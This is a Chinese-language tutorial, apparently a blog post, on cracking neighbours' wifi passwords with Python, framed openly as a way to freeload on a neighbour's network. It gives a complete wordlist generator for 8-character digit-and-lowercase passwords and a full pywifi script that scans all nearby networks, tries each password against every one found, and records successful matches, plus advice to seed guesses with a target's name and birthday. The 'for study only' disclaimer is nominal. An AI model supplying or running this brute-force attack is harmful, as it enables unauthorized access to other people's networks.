用python 学习 破解wifi密码

5,229 阅读6分钟

哈哈家里是不是有没网了? 想蹭邻居家的wifi看这篇文章就够了!!! 那么首先你要准备什么呢,首先要有个电脑,然后跟着教程做就行了.

1.安装python 环境打开python官网 www.python.org/downloads/

image.png 2.然后打开安装程序, 选择安装即可

image.png 3.如果上面的步骤完成后你就可以尝试运行python看看是否安装成功,按住win+r 键,输入python

image.png

你会看见python的交互窗口

image.png

好如果你成功看见交互窗口证明你python 已经安装成功了, 你可以关闭窗口了,接下来就是代码部分.破解密码首先需要的是密码, 首先我们要写代码生成一个密码本,开始写代码了!首先创建一个文件名字为password.py 的文件

image.png

文件创建成功后用记事本打开

image.png

然后将下面的代码粘贴上去, 这个代码主要是生成长度为8位, 数字加小写字母的密码本

import itertools as its

def run_numonly(length, filename):
    global words
    words = "1234567890qwertyuiopasdfghjklzxcvbnm"
    r     = its.product(words, repeat=length)
    dic   = open(filename, 'a')
    for i in r:
        dic.write("".join(i))
        dic.write("".join("\n"))
    dic.close()

if __name__ == "__main__":
    run_numonly(8, "password.txt")

好下面如何执行代码, window+R 输入cmd

image.png

然后使用 盘符命令cd命令 进入你代码的所在地点, 如果是第一次用python的建议你将文件创建在桌面,这样就可以和我的教程同步,不会出现不必要的麻烦, 首先CD进入桌面

cd Desktop

image.png

然后就是运行代码

python password.py

image.png

代码运行1-2分钟后关闭后关闭窗口即可, 因为数字+字母生成8位的密码文件实在太大需要的时间太长... 这里我展示给大家看,这是运行10分钟的结果,密码文件就32G, image.png

接下来用记事本打开password.txt,如果你打不开文件可能是文件太大,不用着急可以看这里, 他是从数字到字母有序排列,列出8位数字加字母的所有组合,

image.png

有了密码就开始用这个密码挨个尝试了,当然人工尝试太麻烦我们还是用python,借助python的 pywifi模块,pywifi 提供了一个用于操作无线接口的跨平台模块

开始 安装 pywifi, window+R 输入cmd, 然后将下面的命令输入终端

pip install pywifi

我这里安装过了可能出现的结果和你们不太一样,耐心等待即可

image.png

下面就是代码了创建文件main.py

image.png

用记事本打开文件,将下面的代码粘贴上去, 这个代码主要做了,三件事情

1扫描所有wifi

2用生成的密码破解,扫描到的所有wifi

3破解成功记录密码

# coding:utf-8
# coding:gbk
import time  # 时间
import pywifi  # 破解wifi
from pywifi import const  # 引用一些定义
from asyncio.tasks import sleep


# 需要第三方库 pywifi  (python3 pip install pywifi)
# 功能:
#      1、扫描周围wifi列表 将ssid写入文本
#      2、读取密码字典进行匹配
class PoJie():

    ###
    # 初始化
    ###
    def __init__(self, ssidfile, pwdfile, resfile):  # 类初始化
        self.resfile  = resfile  # 破解结果文本文件
        self.pwdfile  = pwdfile  # 密码字典文本文件
        self.ssidfile = ssidfile  # wifi的ssid列表文件
        wifi          = pywifi.PyWiFi()  # 抓取网卡接口
        self.iface    = wifi.interfaces()[0]  # 抓取第一个无线网卡
        self.iface.disconnect()  # 测试链接断开所有链接
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态,
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    ###
    #读取密码本
    ###
    def readPassWord(self, wifissid):  # 读取密码字典,进行匹配
        print("开始破解: %s" % wifissid)
        # 将结果写入文本文件记录
        res = "开始破解:: %s \n" % wifissid;
        open(self.resfile, "a",encoding= "utf-8").write(res)
        pwdfilehander = open(self.pwdfile, "r",encoding= "utf-8", errors="ignore")
        while True:
            try:
                myStr = pwdfilehander.readline()
                if not myStr:
                    break
                bool1 = self.test_connect(myStr, wifissid)
                if bool1:
                    # print("密码正确:"+myStr)
                    # res = "密码:%s 正确 \n"%myStr;
                    res = "===正确=== ^_^ wifi名:%s  匹配密码:%s " % (wifissid, myStr);
                    print(res)
                    # 将结果写入文本文件记录
                    open(self.resfile, "a",encoding= "utf-8").write(res)
                    break
                else:
                    # print("密码:"+myStr+"错误")
                    res = "---错误--- wifi名:%s匹配密码:%s" % (wifissid, myStr);
                    print(res)
                    # 将结果写入文本文件记录
                    open(self.resfile, "a",encoding= "utf-8").write(res)
                sleep(3)
            except:
                continue

    # 读取wifi的ssid列表、读取密码字典,进行匹配
    def foreachPassWord(self):
        print("^_^开始读取wifi的ssid列表...")
        ssidfilehander = open(self.ssidfile, "r", encoding= "utf-8",errors="ignore")
        ssidStrs = ssidfilehander.readlines()
        # print(ssidStrs)
        for index in range(len(ssidStrs)):
            self.readPassWord(ssidStrs[index])
        print("执行完毕! ^_^")

    # 扫描周边wifi列表 并写入文本中(一行一个)
    def scans_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        # print("|SCAN GET %s"%(nums))
        print("数量: %s" % (nums))
        # 在控制台表格输出 扫描列表
        # 表格 标题行
        # print ("%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70))
        print("| %s |  %s |  %s | %s" % ("WIFIID", "SSID", "BSSID", "signal"))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres

    def show_scans_wifi_list(self, scans_res):  # 显示扫描周围wifi列表
        # 开始扫描
        # self.scans_wifi_list()
        for index, wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
            print("| %s | %s | %s | %s \n" % (index, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
        print("^_^ 扫描结束. ^_^")
        print("^_^ 先预览. ^_^")
        for index, wifi_info in enumerate(scans_res):
            res = "%s\n" % wifi_info.ssid;  # wifi的ssid名
            print(res)
        print("^_^ 预览结束. ^_^")
        print("^_^ 开始写入... ^_^")
        for index, wifi_info in enumerate(scans_res):
            res = "%s\n" % wifi_info.ssid;  # wifi的ssid名
            # 将wifi的ssid名写入文本文件记录
            # ssidfilehandle = open(self.ssidfile,"a").write(res)
            open(self.ssidfile, "a", encoding= "utf-8").write(res)
        print("^_^ 写入结束. ^_^")
        # ssidfilehandle.close()

    def test_connect(self, findStr, wifissid):  # 测试链接
        profile = pywifi.Profile()  # 创建wifi链接文件
        # profile.ssid ="e2" #wifi名称
        # profile.ssid ="1104" #wifi名称
        # profile.ssid ="1601" #wifi名称
        profile.ssid = wifissid  # wifi名称
        profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = findStr  # 密码
        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
        self.iface.connect(tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK
    # def __del__(self):
    #     ssidfilehandle.close()



# 引入 配置参数 相对路径写法
pwdfile  = "password.txt"  # 密码字典文本路径
resfile  = "pj_res.txt"  # 结果文本文件保存路径
ssidfile = "wifi_ssid_list.txt"  # wifi的ssid的列表保存路径
start    = PoJie(ssidfile, pwdfile, resfile)  # 实例化类

# 扫描周边wifi列表
start.scans_wifi_list()

# 读取密码字典、读取wifi的ssid列表、将结果写入文本文件
start.foreachPassWord()

当然破解密码也不是那么简单的需要几天的时间, 这里只做学习和研究, 当然如果你知道密码长度, 有没有字母和特殊符号这无疑会减少你的时间, 如果你真想破解wifi,建议深入研究密码学,如果你知道对方名字生日,可以把这些当作参数放进去生成密码... 这些我以后介绍 接下来运行代码 windows+R 输入cmd

image.png

然后进入终端输入

python main.py

下面是运行结果, 破解所需时间太长...

image.png

微信截图_20220427111050.png